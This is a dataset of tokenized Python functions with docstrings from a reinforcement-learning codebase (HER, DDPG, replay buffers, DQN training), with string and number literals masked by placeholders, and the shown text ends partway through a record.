{"signature": "def nn(input, layers_sizes, reuse=None, flatten=False, name=\"<STR_LIT>\"):", "body": "for i, size in enumerate(layers_sizes):<EOL><INDENT>activation = tf.nn.relu if i < len(layers_sizes) - <NUM_LIT:1> else None<EOL>input = tf.layers.dense(inputs=input,<EOL>units=size,<EOL>kernel_initializer=tf.contrib.layers.xavier_initializer(),<EOL>reuse=reuse,<EOL>name=name + '<STR_LIT:_>' + str(i))<EOL>if activation:<EOL><INDENT>input = activation(input)<EOL><DEDENT><DEDENT>if flatten:<EOL><INDENT>assert layers_sizes[-<NUM_LIT:1>] == <NUM_LIT:1><EOL>input = tf.reshape(input, [-<NUM_LIT:1>])<EOL><DEDENT>return input<EOL>", "docstring": "Creates a simple neural network", "id": "f1268:m3"}
{"signature": "def mpi_fork(n, extra_mpi_args=[]):", "body": "if n <= <NUM_LIT:1>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>if os.getenv(\"<STR_LIT>\") is None:<EOL><INDENT>env = os.environ.copy()<EOL>env.update(<EOL>MKL_NUM_THREADS=\"<STR_LIT:1>\",<EOL>OMP_NUM_THREADS=\"<STR_LIT:1>\",<EOL>IN_MPI=\"<STR_LIT:1>\"<EOL>)<EOL>args = [\"<STR_LIT>\", \"<STR_LIT>\", str(n)] +extra_mpi_args +[sys.executable]<EOL>args += sys.argv<EOL>subprocess.check_call(args, env=env)<EOL>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>install_mpi_excepthook()<EOL>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Re-launches the current script with workers\n    Returns \"parent\" for original parent, \"child\" for MPI children", "id": "f1268:m5"}
{"signature": "def convert_episode_to_batch_major(episode):", "body": "episode_batch = {}<EOL>for key in episode.keys():<EOL><INDENT>val = np.array(episode[key]).copy()<EOL>episode_batch[key] = val.swapaxes(<NUM_LIT:0>, <NUM_LIT:1>)<EOL><DEDENT>return episode_batch<EOL>", "docstring": "Converts an episode to have the batch dimension in the major (first)\n    dimension.", "id": "f1268:m6"}
{"signature": "def transitions_in_episode_batch(episode_batch):", "body": "shape = episode_batch['<STR_LIT:u>'].shape<EOL>return shape[<NUM_LIT:0>] * shape[<NUM_LIT:1>]<EOL>", "docstring": "Number of transitions in a given episode batch.", "id": "f1268:m7"}
{"signature": "def reshape_for_broadcasting(source, target):", "body": "dim = len(target.get_shape())<EOL>shape = ([<NUM_LIT:1>] * (dim - <NUM_LIT:1>)) + [-<NUM_LIT:1>]<EOL>return tf.reshape(tf.cast(source, target.dtype), shape)<EOL>", "docstring": "Reshapes a tensor (source) to have the correct shape and dtype of the target\n    before broadcasting it with MPI.", "id": "f1268:m8"}
{"signature": "def cached_make_env(make_env):", "body": "if make_env not in CACHED_ENVS:<EOL><INDENT>env = make_env()<EOL>CACHED_ENVS[make_env] = env<EOL><DEDENT>return CACHED_ENVS[make_env]<EOL>", "docstring": "Only creates a new environment from the provided function if one has not yet already been\ncreated. This is useful here because we need to infer certain properties of the env, e.g.\nits observation and action spaces, without any intend of actually using it.", "id": "f1269:m0"}
{"signature": "def __init__(self, buffer_shapes, size_in_transitions, T, sample_transitions):", "body": "self.buffer_shapes = buffer_shapes<EOL>self.size = size_in_transitions // T<EOL>self.T = T<EOL>self.sample_transitions = sample_transitions<EOL>self.buffers = {key: np.empty([self.size, *shape])<EOL>for key, shape in buffer_shapes.items()}<EOL>self.current_size = <NUM_LIT:0><EOL>self.n_transitions_stored = <NUM_LIT:0><EOL>self.lock = threading.Lock()<EOL>", "docstring": "Creates a replay buffer.\n\n        Args:\n            buffer_shapes (dict of ints): the shape for all buffers that are used in the replay\n                buffer\n            size_in_transitions (int): the size of the buffer, measured in transitions\n            T (int): the time horizon for episodes\n            sample_transitions (function): a function that samples from the replay buffer", "id": "f1273:c0:m0"}
{"signature": "def sample(self, batch_size):", "body": "buffers = {}<EOL>with self.lock:<EOL><INDENT>assert self.current_size > <NUM_LIT:0><EOL>for key in self.buffers.keys():<EOL><INDENT>buffers[key] = self.buffers[key][:self.current_size]<EOL><DEDENT><DEDENT>buffers['<STR_LIT>'] = buffers['<STR_LIT:o>'][:, <NUM_LIT:1>:, :]<EOL>buffers['<STR_LIT>'] = buffers['<STR_LIT>'][:, <NUM_LIT:1>:, :]<EOL>transitions = self.sample_transitions(buffers, batch_size)<EOL>for key in (['<STR_LIT:r>', '<STR_LIT>', '<STR_LIT>'] + list(self.buffers.keys())):<EOL><INDENT>assert key in transitions, \"<STR_LIT>\" % key<EOL><DEDENT>return transitions<EOL>", "docstring": "Returns a dict {key: array(batch_size x shapes[key])}", "id": "f1273:c0:m2"}
{"signature": "def store_episode(self, episode_batch):", "body": "batch_sizes = [len(episode_batch[key]) for key in episode_batch.keys()]<EOL>assert np.all(np.array(batch_sizes) == batch_sizes[<NUM_LIT:0>])<EOL>batch_size = batch_sizes[<NUM_LIT:0>]<EOL>with self.lock:<EOL><INDENT>idxs = self._get_storage_idx(batch_size)<EOL>for key in self.buffers.keys():<EOL><INDENT>self.buffers[key][idxs] = episode_batch[key]<EOL><DEDENT>self.n_transitions_stored += batch_size * self.T<EOL><DEDENT>", "docstring": "episode_batch: array(batch_size x (T or T+1) x dim_key)", "id": "f1273:c0:m3"}
{"signature": "def __init__(self, size, eps=<NUM_LIT>, default_clip_range=np.inf, sess=None):", "body": "self.size = size<EOL>self.eps = eps<EOL>self.default_clip_range = default_clip_range<EOL>self.sess = sess if sess is not None else tf.get_default_session()<EOL>self.local_sum = np.zeros(self.size, np.float32)<EOL>self.local_sumsq = np.zeros(self.size, np.float32)<EOL>self.local_count = np.zeros(<NUM_LIT:1>, np.float32)<EOL>self.sum_tf = tf.get_variable(<EOL>initializer=tf.zeros_initializer(), shape=self.local_sum.shape, name='<STR_LIT>',<EOL>trainable=False, dtype=tf.float32)<EOL>self.sumsq_tf = tf.get_variable(<EOL>initializer=tf.zeros_initializer(), shape=self.local_sumsq.shape, name='<STR_LIT>',<EOL>trainable=False, dtype=tf.float32)<EOL>self.count_tf = tf.get_variable(<EOL>initializer=tf.ones_initializer(), shape=self.local_count.shape, name='<STR_LIT:count>',<EOL>trainable=False, dtype=tf.float32)<EOL>self.mean = tf.get_variable(<EOL>initializer=tf.zeros_initializer(), shape=(self.size,), name='<STR_LIT>',<EOL>trainable=False, dtype=tf.float32)<EOL>self.std = tf.get_variable(<EOL>initializer=tf.ones_initializer(), shape=(self.size,), name='<STR_LIT>',<EOL>trainable=False, dtype=tf.float32)<EOL>self.count_pl = tf.placeholder(name='<STR_LIT>', shape=(<NUM_LIT:1>,), dtype=tf.float32)<EOL>self.sum_pl = tf.placeholder(name='<STR_LIT>', shape=(self.size,), dtype=tf.float32)<EOL>self.sumsq_pl = tf.placeholder(name='<STR_LIT>', shape=(self.size,), dtype=tf.float32)<EOL>self.update_op = tf.group(<EOL>self.count_tf.assign_add(self.count_pl),<EOL>self.sum_tf.assign_add(self.sum_pl),<EOL>self.sumsq_tf.assign_add(self.sumsq_pl)<EOL>)<EOL>self.recompute_op = tf.group(<EOL>tf.assign(self.mean, self.sum_tf / self.count_tf),<EOL>tf.assign(self.std, tf.sqrt(tf.maximum(<EOL>tf.square(self.eps),<EOL>self.sumsq_tf / self.count_tf - tf.square(self.sum_tf / self.count_tf)<EOL>))),<EOL>)<EOL>self.lock = threading.Lock()<EOL>", "docstring": "A normalizer that ensures that observations are approximately distributed according to\n        a standard Normal distribution (i.e. have mean zero and variance one).\n\n        Args:\n            size (int): the size of the observation to be normalized\n            eps (float): a small constant that avoids underflows\n            default_clip_range (float): normalized observations are clipped to be in\n                [-default_clip_range, default_clip_range]\n            sess (object): the TensorFlow session to be used", "id": "f1274:c0:m0"}
{"signature": "@store_args<EOL><INDENT>def __init__(self, input_dims, buffer_size, hidden, layers, network_class, polyak, batch_size,<EOL>Q_lr, pi_lr, norm_eps, norm_clip, max_u, action_l2, clip_obs, scope, T,<EOL>rollout_batch_size, subtract_goals, relative_goals, clip_pos_returns, clip_return,<EOL>bc_loss, q_filter, num_demo, demo_batch_size, prm_loss_weight, aux_loss_weight,<EOL>sample_transitions, gamma, reuse=False, **kwargs):<DEDENT>", "body": "if self.clip_return is None:<EOL><INDENT>self.clip_return = np.inf<EOL><DEDENT>self.create_actor_critic = import_function(self.network_class)<EOL>input_shapes = dims_to_shapes(self.input_dims)<EOL>self.dimo = self.input_dims['<STR_LIT:o>']<EOL>self.dimg = self.input_dims['<STR_LIT:g>']<EOL>self.dimu = self.input_dims['<STR_LIT:u>']<EOL>stage_shapes = OrderedDict()<EOL>for key in sorted(self.input_dims.keys()):<EOL><INDENT>if key.startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>stage_shapes[key] = (None, *input_shapes[key])<EOL><DEDENT>for key in ['<STR_LIT:o>', '<STR_LIT:g>']:<EOL><INDENT>stage_shapes[key + '<STR_LIT>'] = stage_shapes[key]<EOL><DEDENT>stage_shapes['<STR_LIT:r>'] = (None,)<EOL>self.stage_shapes = stage_shapes<EOL>with tf.variable_scope(self.scope):<EOL><INDENT>self.staging_tf = StagingArea(<EOL>dtypes=[tf.float32 for _ in self.stage_shapes.keys()],<EOL>shapes=list(self.stage_shapes.values()))<EOL>self.buffer_ph_tf = [<EOL>tf.placeholder(tf.float32, shape=shape) for shape in self.stage_shapes.values()]<EOL>self.stage_op = self.staging_tf.put(self.buffer_ph_tf)<EOL>self._create_network(reuse=reuse)<EOL><DEDENT>buffer_shapes = {key: (self.T-<NUM_LIT:1> if key != '<STR_LIT:o>' else self.T, *input_shapes[key])<EOL>for key, val in input_shapes.items()}<EOL>buffer_shapes['<STR_LIT:g>'] = (buffer_shapes['<STR_LIT:g>'][<NUM_LIT:0>], self.dimg)<EOL>buffer_shapes['<STR_LIT>'] = (self.T, self.dimg)<EOL>buffer_size = (self.buffer_size // self.rollout_batch_size) * self.rollout_batch_size<EOL>self.buffer = ReplayBuffer(buffer_shapes, buffer_size, self.T, self.sample_transitions)<EOL>global DEMO_BUFFER<EOL>DEMO_BUFFER = ReplayBuffer(buffer_shapes, buffer_size, self.T, self.sample_transitions)<EOL>", "docstring": "Implementation of DDPG that is used in combination with Hindsight Experience Replay (HER).\n            Added functionality to use demonstrations for training to Overcome exploration problem.\n\n        Args:\n            input_dims (dict of ints): dimensions for the observation (o), the goal (g), and the\n                actions (u)\n            buffer_size (int): number of transitions that are stored in the replay buffer\n            hidden (int): number of units in the hidden layers\n            layers (int): number of hidden layers\n            network_class (str): the network class that should be used (e.g. 'baselines.her.ActorCritic')\n            polyak (float): coefficient for Polyak-averaging of the target network\n            batch_size (int): batch size for training\n            Q_lr (float): learning rate for the Q (critic) network\n            pi_lr (float): learning rate for the pi (actor) network\n            norm_eps (float): a small value used in the normalizer to avoid numerical instabilities\n            norm_clip (float): normalized inputs are clipped to be in [-norm_clip, norm_clip]\n            max_u (float): maximum action magnitude, i.e. actions are in [-max_u, max_u]\n            action_l2 (float): coefficient for L2 penalty on the actions\n            clip_obs (float): clip observations before normalization to be in [-clip_obs, clip_obs]\n            scope (str): the scope used for the TensorFlow graph\n            T (int): the time horizon for rollouts\n            rollout_batch_size (int): number of parallel rollouts per DDPG agent\n            subtract_goals (function): function that subtracts goals from each other\n            relative_goals (boolean): whether or not relative goals should be fed into the network\n            clip_pos_returns (boolean): whether or not positive returns should be clipped\n            clip_return (float): clip returns to be in [-clip_return, clip_return]\n            sample_transitions (function) function that samples from the replay buffer\n            gamma (float): gamma used for Q learning updates\n            reuse (boolean): whether or not the networks should be reused\n            bc_loss: whether or not the behavior cloning loss should be used as an auxilliary loss\n            q_filter: whether or not a filter on the q value update should be used when training with demonstartions\n            num_demo: Number of episodes in to be used in the demonstration buffer\n            demo_batch_size: number of samples to be used from the demonstrations buffer, per mpi thread\n            prm_loss_weight: Weight corresponding to the primary loss\n            aux_loss_weight: Weight corresponding to the auxilliary loss also called the cloning loss", "id": "f1275:c0:m0"}
{"signature": "def store_episode(self, episode_batch, update_stats=True):", "body": "self.buffer.store_episode(episode_batch)<EOL>if update_stats:<EOL><INDENT>episode_batch['<STR_LIT>'] = episode_batch['<STR_LIT:o>'][:, <NUM_LIT:1>:, :]<EOL>episode_batch['<STR_LIT>'] = episode_batch['<STR_LIT>'][:, <NUM_LIT:1>:, :]<EOL>num_normalizing_transitions = transitions_in_episode_batch(episode_batch)<EOL>transitions = self.sample_transitions(episode_batch, num_normalizing_transitions)<EOL>o, g, ag = transitions['<STR_LIT:o>'], transitions['<STR_LIT:g>'], transitions['<STR_LIT>']<EOL>transitions['<STR_LIT:o>'], transitions['<STR_LIT:g>'] = self._preprocess_og(o, ag, g)<EOL>self.o_stats.update(transitions['<STR_LIT:o>'])<EOL>self.g_stats.update(transitions['<STR_LIT:g>'])<EOL>self.o_stats.recompute_stats()<EOL>self.g_stats.recompute_stats()<EOL><DEDENT>", "docstring": "episode_batch: array of batch_size x (T or T+1) x dim_key\n               'o' is of size T+1, others are of size T", "id": "f1275:c0:m6"}
{"signature": "def __getstate__(self):", "body": "excluded_subnames = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT:target>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']<EOL>state = {k: v for k, v in self.__dict__.items() if all([not subname in k for subname in excluded_subnames])}<EOL>state['<STR_LIT>'] = self.buffer_size<EOL>state['<STR_LIT>'] = self.sess.run([x for x in self._global_vars('<STR_LIT>') if '<STR_LIT>' not in x.name])<EOL>return state<EOL>", "docstring": "Our policies can be loaded from pkl, but after unpickling you cannot continue training.", "id": "f1275:c0:m21"}
{"signature": "@store_args<EOL><INDENT>def __init__(self, inputs_tf, dimo, dimg, dimu, max_u, o_stats, g_stats, hidden, layers,<EOL>**kwargs):<DEDENT>", "body": "self.o_tf = inputs_tf['<STR_LIT:o>']<EOL>self.g_tf = inputs_tf['<STR_LIT:g>']<EOL>self.u_tf = inputs_tf['<STR_LIT:u>']<EOL>o = self.o_stats.normalize(self.o_tf)<EOL>g = self.g_stats.normalize(self.g_tf)<EOL>input_pi = tf.concat(axis=<NUM_LIT:1>, values=[o, g])  <EOL>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>self.pi_tf = self.max_u * tf.tanh(nn(<EOL>input_pi, [self.hidden] * self.layers + [self.dimu]))<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>input_Q = tf.concat(axis=<NUM_LIT:1>, values=[o, g, self.pi_tf / self.max_u])<EOL>self.Q_pi_tf = nn(input_Q, [self.hidden] * self.layers + [<NUM_LIT:1>])<EOL>input_Q = tf.concat(axis=<NUM_LIT:1>, values=[o, g, self.u_tf / self.max_u])<EOL>self._input_Q = input_Q  <EOL>self.Q_tf = nn(input_Q, [self.hidden] * self.layers + [<NUM_LIT:1>], reuse=True)<EOL><DEDENT>", "docstring": "The actor-critic network and related training code.\n\n        Args:\n            inputs_tf (dict of tensors): all necessary inputs for the network: the\n                observation (o), the goal (g), and the action (u)\n            dimo (int): the dimension of the observations\n            dimg (int): the dimension of the goals\n            dimu (int): the dimension of the actions\n            max_u (float): the maximum magnitude of actions; action outputs will be scaled\n                accordingly\n            o_stats (baselines.her.Normalizer): normalizer for observations\n            g_stats (baselines.her.Normalizer): normalizer for goals\n            hidden (int): number of hidden units that should be used in hidden layers\n            layers (int): number of hidden layers", "id": "f1276:c0:m0"}
{"signature": "@store_args<EOL><INDENT>def __init__(self, venv, policy, dims, logger, T, rollout_batch_size=<NUM_LIT:1>,<EOL>exploit=False, use_target_net=False, compute_Q=False, noise_eps=<NUM_LIT:0>,<EOL>random_eps=<NUM_LIT:0>, history_len=<NUM_LIT:100>, render=False, monitor=False, **kwargs):<DEDENT>", "body": "assert self.T > <NUM_LIT:0><EOL>self.info_keys = [key.replace('<STR_LIT>', '<STR_LIT>') for key in dims.keys() if key.startswith('<STR_LIT>')]<EOL>self.success_history = deque(maxlen=history_len)<EOL>self.Q_history = deque(maxlen=history_len)<EOL>self.n_episodes = <NUM_LIT:0><EOL>self.reset_all_rollouts()<EOL>self.clear_history()<EOL>", "docstring": "Rollout worker generates experience by interacting with one or many environments.\n\n        Args:\n            make_env (function): a factory function that creates a new instance of the environment\n                when called\n            policy (object): the policy that is used to act\n            dims (dict of ints): the dimensions for observations (o), goals (g), and actions (u)\n            logger (object): the logger that is used by the rollout worker\n            rollout_batch_size (int): the number of parallel rollouts that should be used\n            exploit (boolean): whether or not to exploit, i.e. to act optimally according to the\n                current policy without any exploration\n            use_target_net (boolean): whether or not to use the target net for rollouts\n            compute_Q (boolean): whether or not to compute the Q values alongside the actions\n            noise_eps (float): scale of the additive Gaussian noise\n            random_eps (float): probability of selecting a completely random action\n            history_len (int): length of history for statistics smoothing\n            render (boolean): whether or not to render the rollouts", "id": "f1277:c0:m0"}
{"signature": "def generate_rollouts(self):", "body": "self.reset_all_rollouts()<EOL>o = np.empty((self.rollout_batch_size, self.dims['<STR_LIT:o>']), np.float32)  <EOL>ag = np.empty((self.rollout_batch_size, self.dims['<STR_LIT:g>']), np.float32)  <EOL>o[:] = self.initial_o<EOL>ag[:] = self.initial_ag<EOL>obs, achieved_goals, acts, goals, successes = [], [], [], [], []<EOL>dones = []<EOL>info_values = [np.empty((self.T - <NUM_LIT:1>, self.rollout_batch_size, self.dims['<STR_LIT>' + key]), np.float32) for key in self.info_keys]<EOL>Qs = []<EOL>for t in range(self.T):<EOL><INDENT>policy_output = self.policy.get_actions(<EOL>o, ag, self.g,<EOL>compute_Q=self.compute_Q,<EOL>noise_eps=self.noise_eps if not self.exploit else <NUM_LIT:0.>,<EOL>random_eps=self.random_eps if not self.exploit else <NUM_LIT:0.>,<EOL>use_target_net=self.use_target_net)<EOL>if self.compute_Q:<EOL><INDENT>u, Q = policy_output<EOL>Qs.append(Q)<EOL><DEDENT>else:<EOL><INDENT>u = policy_output<EOL><DEDENT>if u.ndim == <NUM_LIT:1>:<EOL><INDENT>u = u.reshape(<NUM_LIT:1>, -<NUM_LIT:1>)<EOL><DEDENT>o_new = np.empty((self.rollout_batch_size, self.dims['<STR_LIT:o>']))<EOL>ag_new = np.empty((self.rollout_batch_size, self.dims['<STR_LIT:g>']))<EOL>success = np.zeros(self.rollout_batch_size)<EOL>obs_dict_new, _, done, info = self.venv.step(u)<EOL>o_new = obs_dict_new['<STR_LIT>']<EOL>ag_new = obs_dict_new['<STR_LIT>']<EOL>success = np.array([i.get('<STR_LIT>', <NUM_LIT:0.0>) for i in info])<EOL>if any(done):<EOL><INDENT>break<EOL><DEDENT>for i, info_dict in enumerate(info):<EOL><INDENT>for idx, key in enumerate(self.info_keys):<EOL><INDENT>info_values[idx][t, i] = info[i][key]<EOL><DEDENT><DEDENT>if np.isnan(o_new).any():<EOL><INDENT>self.logger.warn('<STR_LIT>')<EOL>self.reset_all_rollouts()<EOL>return self.generate_rollouts()<EOL><DEDENT>dones.append(done)<EOL>obs.append(o.copy())<EOL>achieved_goals.append(ag.copy())<EOL>successes.append(success.copy())<EOL>acts.append(u.copy())<EOL>goals.append(self.g.copy())<EOL>o[...] = o_new<EOL>ag[...] = ag_new<EOL><DEDENT>obs.append(o.copy())<EOL>achieved_goals.append(ag.copy())<EOL>episode = dict(o=obs,<EOL>u=acts,<EOL>g=goals,<EOL>ag=achieved_goals)<EOL>for key, value in zip(self.info_keys, info_values):<EOL><INDENT>episode['<STR_LIT>'.format(key)] = value<EOL><DEDENT>successful = np.array(successes)[-<NUM_LIT:1>, :]<EOL>assert successful.shape == (self.rollout_batch_size,)<EOL>success_rate = np.mean(successful)<EOL>self.success_history.append(success_rate)<EOL>if self.compute_Q:<EOL><INDENT>self.Q_history.append(np.mean(Qs))<EOL><DEDENT>self.n_episodes += self.rollout_batch_size<EOL>return convert_episode_to_batch_major(episode)<EOL>", "docstring": "Performs `rollout_batch_size` rollouts in parallel for time horizon `T` with the current\n        policy acting on it accordingly.", "id": "f1277:c0:m2"}
{"signature": "def clear_history(self):", "body": "self.success_history.clear()<EOL>self.Q_history.clear()<EOL>", "docstring": "Clears all histories that are used for statistics", "id": "f1277:c0:m3"}
{"signature": "def save_policy(self, path):", "body": "with open(path, '<STR_LIT:wb>') as f:<EOL><INDENT>pickle.dump(self.policy, f)<EOL><DEDENT>", "docstring": "Pickles the current policy for later inspection.", "id": "f1277:c0:m6"}
{"signature": "def logs(self, prefix='<STR_LIT>'):", "body": "logs = []<EOL>logs += [('<STR_LIT>', np.mean(self.success_history))]<EOL>if self.compute_Q:<EOL><INDENT>logs += [('<STR_LIT>', np.mean(self.Q_history))]<EOL><DEDENT>logs += [('<STR_LIT>', self.n_episodes)]<EOL>if prefix != '<STR_LIT>' and not prefix.endswith('<STR_LIT:/>'):<EOL><INDENT>return [(prefix + '<STR_LIT:/>' + key, val) for key, val in logs]<EOL><DEDENT>else:<EOL><INDENT>return logs<EOL><DEDENT>", "docstring": "Generates a dictionary that contains all collected statistics.", "id": "f1277:c0:m7"}
{"signature": "def make_sample_her_transitions(replay_strategy, replay_k, reward_fun):", "body": "if replay_strategy == '<STR_LIT>':<EOL><INDENT>future_p = <NUM_LIT:1> - (<NUM_LIT:1.> / (<NUM_LIT:1> + replay_k))<EOL><DEDENT>else:  <EOL><INDENT>future_p = <NUM_LIT:0><EOL><DEDENT>def _sample_her_transitions(episode_batch, batch_size_in_transitions):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>T = episode_batch['<STR_LIT:u>'].shape[<NUM_LIT:1>]<EOL>rollout_batch_size = episode_batch['<STR_LIT:u>'].shape[<NUM_LIT:0>]<EOL>batch_size = batch_size_in_transitions<EOL>episode_idxs = np.random.randint(<NUM_LIT:0>, rollout_batch_size, batch_size)<EOL>t_samples = np.random.randint(T, size=batch_size)<EOL>transitions = {key: episode_batch[key][episode_idxs, t_samples].copy()<EOL>for key in episode_batch.keys()}<EOL>her_indexes = np.where(np.random.uniform(size=batch_size) < future_p)<EOL>future_offset = np.random.uniform(size=batch_size) * (T - t_samples)<EOL>future_offset = future_offset.astype(int)<EOL>future_t = (t_samples + <NUM_LIT:1> + future_offset)[her_indexes]<EOL>future_ag = episode_batch['<STR_LIT>'][episode_idxs[her_indexes], future_t]<EOL>transitions['<STR_LIT:g>'][her_indexes] = future_ag<EOL>info = {}<EOL>for key, value in transitions.items():<EOL><INDENT>if key.startswith('<STR_LIT>'):<EOL><INDENT>info[key.replace('<STR_LIT>', '<STR_LIT>')] = value<EOL><DEDENT><DEDENT>reward_params = {k: transitions[k] for k in ['<STR_LIT>', '<STR_LIT:g>']}<EOL>reward_params['<STR_LIT:info>'] = info<EOL>transitions['<STR_LIT:r>'] = reward_fun(**reward_params)<EOL>transitions = {k: transitions[k].reshape(batch_size, *transitions[k].shape[<NUM_LIT:1>:])<EOL>for k in transitions.keys()}<EOL>assert(transitions['<STR_LIT:u>'].shape[<NUM_LIT:0>] == batch_size_in_transitions)<EOL>return transitions<EOL><DEDENT>return _sample_her_transitions<EOL>", "docstring": "Creates a sample function that can be used for HER experience replay.\n\n    Args:\n        replay_strategy (in ['future', 'none']): the HER replay strategy; if set to 'none',\n            regular DDPG experience replay is used\n        replay_k (int): the ratio between HER replays and regular replays (e.g. k = 4 -> 4 times\n            as many HER replays as regular replays are used)\n        reward_fun (function): function to re-compute the reward with substituted goals", "id": "f1278:m0"}
{"signature": "def __init__(self, size):", "body": "self._storage = []<EOL>self._maxsize = size<EOL>self._next_idx = <NUM_LIT:0><EOL>", "docstring": "Create Replay buffer.\n\n        Parameters\n        ----------\n        size: int\n            Max number of transitions to store in the buffer. When the buffer\n            overflows the old memories are dropped.", "id": "f1281:c0:m0"}
{"signature": "def sample(self, batch_size):", "body": "idxes = [random.randint(<NUM_LIT:0>, len(self._storage) - <NUM_LIT:1>) for _ in range(batch_size)]<EOL>return self._encode_sample(idxes)<EOL>", "docstring": "Sample a batch of experiences.\n\n        Parameters\n        ----------\n        batch_size: int\n            How many transitions to sample.\n\n        Returns\n        -------\n        obs_batch: np.array\n            batch of observations\n        act_batch: np.array\n            batch of actions executed given obs_batch\n        rew_batch: np.array\n            rewards received as results of executing act_batch\n        next_obs_batch: np.array\n            next set of observations seen after executing act_batch\n        done_mask: np.array\n            done_mask[i] = 1 if executing act_batch[i] resulted in\n            the end of an episode and 0 otherwise.", "id": "f1281:c0:m4"}
{"signature": "def __init__(self, size, alpha):", "body": "super(PrioritizedReplayBuffer, self).__init__(size)<EOL>assert alpha >= <NUM_LIT:0><EOL>self._alpha = alpha<EOL>it_capacity = <NUM_LIT:1><EOL>while it_capacity < size:<EOL><INDENT>it_capacity *= <NUM_LIT:2><EOL><DEDENT>self._it_sum = SumSegmentTree(it_capacity)<EOL>self._it_min = MinSegmentTree(it_capacity)<EOL>self._max_priority = <NUM_LIT:1.0><EOL>", "docstring": "Create Prioritized Replay buffer.\n\n        Parameters\n        ----------\n        size: int\n            Max number of transitions to store in the buffer. When the buffer\n            overflows the old memories are dropped.\n        alpha: float\n            how much prioritization is used\n            (0 - no prioritization, 1 - full prioritization)\n\n        See Also\n        --------\n        ReplayBuffer.__init__", "id": "f1281:c1:m0"}
{"signature": "def add(self, *args, **kwargs):", "body": "idx = self._next_idx<EOL>super().add(*args, **kwargs)<EOL>self._it_sum[idx] = self._max_priority ** self._alpha<EOL>self._it_min[idx] = self._max_priority ** self._alpha<EOL>", "docstring": "See ReplayBuffer.store_effect", "id": "f1281:c1:m1"}
{"signature": "def sample(self, batch_size, beta):", "body": "assert beta > <NUM_LIT:0><EOL>idxes = self._sample_proportional(batch_size)<EOL>weights = []<EOL>p_min = self._it_min.min() / self._it_sum.sum()<EOL>max_weight = (p_min * len(self._storage)) ** (-beta)<EOL>for idx in idxes:<EOL><INDENT>p_sample = self._it_sum[idx] / self._it_sum.sum()<EOL>weight = (p_sample * len(self._storage)) ** (-beta)<EOL>weights.append(weight / max_weight)<EOL><DEDENT>weights = np.array(weights)<EOL>encoded_sample = self._encode_sample(idxes)<EOL>return tuple(list(encoded_sample) + [weights, idxes])<EOL>", "docstring": "Sample a batch of experiences.\n\n        compared to ReplayBuffer.sample\n        it also returns importance weights and idxes\n        of sampled experiences.\n\n\n        Parameters\n        ----------\n        batch_size: int\n            How many transitions to sample.\n        beta: float\n            To what degree to use importance weights\n            (0 - no corrections, 1 - full correction)\n\n        Returns\n        -------\n        obs_batch: np.array\n            batch of observations\n        act_batch: np.array\n            batch of actions executed given obs_batch\n        rew_batch: np.array\n            rewards received as results of executing act_batch\n        next_obs_batch: np.array\n            next set of observations seen after executing act_batch\n        done_mask: np.array\n            done_mask[i] = 1 if executing act_batch[i] resulted in\n            the end of an episode and 0 otherwise.\n        weights: np.array\n            Array of shape (batch_size,) and dtype np.float32\n            denoting importance weight of each sampled transition\n        idxes: np.array\n            Array of shape (batch_size,) and dtype np.int32\n            idexes in buffer of sampled experiences", "id": "f1281:c1:m3"}
{"signature": "def update_priorities(self, idxes, priorities):", "body": "assert len(idxes) == len(priorities)<EOL>for idx, priority in zip(idxes, priorities):<EOL><INDENT>assert priority > <NUM_LIT:0><EOL>assert <NUM_LIT:0> <= idx < len(self._storage)<EOL>self._it_sum[idx] = priority ** self._alpha<EOL>self._it_min[idx] = priority ** self._alpha<EOL>self._max_priority = max(self._max_priority, priority)<EOL><DEDENT>", "docstring": "Update priorities of sampled transitions.\n\n        sets priority of transition at index idxes[i] in buffer\n        to priorities[i].\n\n        Parameters\n        ----------\n        idxes: [int]\n            List of idxes of sampled transitions\n        priorities: [float]\n            List of updated priorities corresponding to\n            transitions at the sampled idxes denoted by\n            variable `idxes`.", "id": "f1281:c1:m4"}
{"signature": "def load_act(path):", "body": "return ActWrapper.load_act(path)<EOL>", "docstring": "Load act function that was returned by learn function.\n\n    Parameters\n    ----------\n    path: str\n        path to the act function pickle\n\n    Returns\n    -------\n    act: ActWrapper\n        function that takes a batch of observations\n        and returns actions.", "id": "f1283:m0"}
{"signature": "def learn(env,<EOL>network,<EOL>seed=None,<EOL>lr=<NUM_LIT>,<EOL>total_timesteps=<NUM_LIT>,<EOL>buffer_size=<NUM_LIT>,<EOL>exploration_fraction=<NUM_LIT:0.1>,<EOL>exploration_final_eps=<NUM_LIT>,<EOL>train_freq=<NUM_LIT:1>,<EOL>batch_size=<NUM_LIT:32>,<EOL>print_freq=<NUM_LIT:100>,<EOL>checkpoint_freq=<NUM_LIT>,<EOL>checkpoint_path=None,<EOL>learning_starts=<NUM_LIT:1000>,<EOL>gamma=<NUM_LIT:1.0>,<EOL>target_network_update_freq=<NUM_LIT>,<EOL>prioritized_replay=False,<EOL>prioritized_replay_alpha=<NUM_LIT>,<EOL>prioritized_replay_beta0=<NUM_LIT>,<EOL>prioritized_replay_beta_iters=None,<EOL>prioritized_replay_eps=<NUM_LIT>,<EOL>param_noise=False,<EOL>callback=None,<EOL>load_path=None,<EOL>**network_kwargs<EOL>):", "body": "<EOL>sess = get_session()<EOL>set_global_seeds(seed)<EOL>q_func = build_q_func(network, **network_kwargs)<EOL>observation_space = env.observation_space<EOL>def make_obs_ph(name):<EOL><INDENT>return ObservationInput(observation_space, name=name)<EOL><DEDENT>act, train, update_target, debug = deepq.build_train(<EOL>make_obs_ph=make_obs_ph,<EOL>q_func=q_func,<EOL>num_actions=env.action_space.n,<EOL>optimizer=tf.train.AdamOptimizer(learning_rate=lr),<EOL>gamma=gamma,<EOL>grad_norm_clipping=<NUM_LIT:10>,<EOL>param_noise=param_noise<EOL>)<EOL>act_params = {<EOL>'<STR_LIT>': make_obs_ph,<EOL>'<STR_LIT>': 